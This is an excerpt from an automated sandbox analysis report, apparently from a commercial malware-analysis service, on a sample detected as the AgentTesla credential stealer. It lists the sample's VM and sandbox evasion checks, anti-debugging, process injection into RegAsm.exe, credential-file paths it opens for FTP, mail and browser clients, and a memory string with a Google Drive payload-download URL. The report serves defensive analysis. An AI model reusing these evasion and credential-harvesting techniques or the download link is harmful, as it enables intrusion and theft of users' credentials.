Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot Jump to behavior
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Tries to detect Any.run
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: RegAsm.exe, 0000000A.00000002.47758479429.0000000000F50000.00000004.00000001.sdmp Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERSHELL32ADVAPI32USERPROFILE=HTTPS://DRIVE.GOOGLE.COM/UC?EXPORT=DOWNLOAD&ID=1FVIMSIMRSFWOGPLBLXLGQKVGWLFPIJYYWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKO
Source: ZAM#U00d3WIENIE.exe, 00000001.00000002.43373705057.0000000002290000.00000004.00000001.sdmp, RegAsm.exe, 0000000A.00000002.47758479429.0000000000F50000.00000004.00000001.sdmp Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: ZAM#U00d3WIENIE.exe, 00000001.00000002.43373705057.0000000002290000.00000004.00000001.sdmp Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERSHELL32ADVAPI32USERPROFILE=WINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\REGASM.EXE\SYSWOW64\MSVBVM60.DLLWINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\REGASM.EXE\SYSWOW64\MSVBVM60.DLL
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7324 Thread sleep time: -2767011611056431s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Contains long sleeps (>= 3 min)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Window / User API: threadDelayed 9957 Jump to behavior
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe System information queried: ModuleInformation Jump to behavior
Source: ZAM#U00d3WIENIE.exe, 00000001.00000002.43373705057.0000000002290000.00000004.00000001.sdmp Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublishershell32advapi32USERPROFILE=windir=\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe\syswow64\msvbvm60.dllwindir=\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe\syswow64\msvbvm60.dll
Source: ZAM#U00d3WIENIE.exe, 00000001.00000002.43375430896.0000000004C19000.00000004.00000001.sdmp, RegAsm.exe, 0000000A.00000002.47761028913.0000000002B89000.00000004.00000001.sdmp Binary or memory string: Hyper-V Guest Shutdown Service
Source: ZAM#U00d3WIENIE.exe, 00000001.00000002.43375430896.0000000004C19000.00000004.00000001.sdmp, RegAsm.exe, 0000000A.00000002.47761028913.0000000002B89000.00000004.00000001.sdmp Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: RegAsm.exe, 0000000A.00000002.47761028913.0000000002B89000.00000004.00000001.sdmp Binary or memory string: vmicshutdown
Source: ZAM#U00d3WIENIE.exe, 00000001.00000002.43375430896.0000000004C19000.00000004.00000001.sdmp, RegAsm.exe, 0000000A.00000002.47761028913.0000000002B89000.00000004.00000001.sdmp Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: RegAsm.exe, 0000000A.00000002.47759222438.0000000001060000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAWq
Source: ZAM#U00d3WIENIE.exe, 00000001.00000002.43375430896.0000000004C19000.00000004.00000001.sdmp, RegAsm.exe, 0000000A.00000002.47761028913.0000000002B89000.00000004.00000001.sdmp Binary or memory string: Hyper-V PowerShell Direct Service
Source: ZAM#U00d3WIENIE.exe, 00000001.00000002.43375430896.0000000004C19000.00000004.00000001.sdmp, RegAsm.exe, 0000000A.00000002.47761028913.0000000002B89000.00000004.00000001.sdmp Binary or memory string: Hyper-V Time Synchronization Service
Source: RegAsm.exe, 0000000A.00000002.47761028913.0000000002B89000.00000004.00000001.sdmp Binary or memory string: vmicvss
Source: RegAsm.exe, 0000000A.00000002.47758636783.0000000000FE8000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAW
Source: ZAM#U00d3WIENIE.exe, 00000001.00000002.43373705057.0000000002290000.00000004.00000001.sdmp, RegAsm.exe, 0000000A.00000002.47758479429.0000000000F50000.00000004.00000001.sdmp Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: ZAM#U00d3WIENIE.exe, 00000001.00000002.43375430896.0000000004C19000.00000004.00000001.sdmp, RegAsm.exe, 0000000A.00000002.47761028913.0000000002B89000.00000004.00000001.sdmp Binary or memory string: Hyper-V Data Exchange Service
Source: ZAM#U00d3WIENIE.exe, 00000001.00000002.43375430896.0000000004C19000.00000004.00000001.sdmp, RegAsm.exe, 0000000A.00000002.47761028913.0000000002B89000.00000004.00000001.sdmp Binary or memory string: Hyper-V Heartbeat Service
Source: ZAM#U00d3WIENIE.exe, 00000001.00000002.43375430896.0000000004C19000.00000004.00000001.sdmp, RegAsm.exe, 0000000A.00000002.47761028913.0000000002B89000.00000004.00000001.sdmp Binary or memory string: Hyper-V Guest Service Interface
Source: RegAsm.exe, 0000000A.00000002.47761028913.0000000002B89000.00000004.00000001.sdmp Binary or memory string: vmicheartbeat
Source: RegAsm.exe, 0000000A.00000002.47758479429.0000000000F50000.00000004.00000001.sdmp Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublishershell32advapi32USERPROFILE=https://drive.google.com/uc?export=download&id=1FviMSiMRSfWOgPLBlxlGQKvgWlfpijyYwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Anti Debugging:

barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread information set: HideFromDebugger Jump to behavior
Enables debug privileges
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process token adjusted: Debug Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_00CC6958 KiUserExceptionDispatcher,LdrInitializeThunk, 10_2_00CC6958
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
Writes to foreign memory regions
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: DB0000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe' Jump to behavior
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe' Jump to behavior
Source: RegAsm.exe, 0000000A.00000002.47760551339.0000000001731000.00000002.00020000.sdmp Binary or memory string: Program Manager;_
Source: RegAsm.exe, 0000000A.00000002.47760551339.0000000001731000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: RegAsm.exe, 0000000A.00000002.47760551339.0000000001731000.00000002.00020000.sdmp Binary or memory string: Progman
Source: RegAsm.exe, 0000000A.00000002.47760551339.0000000001731000.00000002.00020000.sdmp Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected AgentTesla
Source: Yara match File source: 0000000A.00000002.47770259316.000000001DF51000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 7904, type: MEMORYSTR
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\ Jump to behavior
Tries to steal Mail credentials (via file access)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 0000000A.00000002.47770259316.000000001DF51000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 7904, type: MEMORYSTR

Remote Access Functionality:

barindex
Yara detected AgentTesla
Source: Yara match File source: 0000000A.00000002.47770259316.000000001DF51000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 7904, type: MEMORYSTR
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs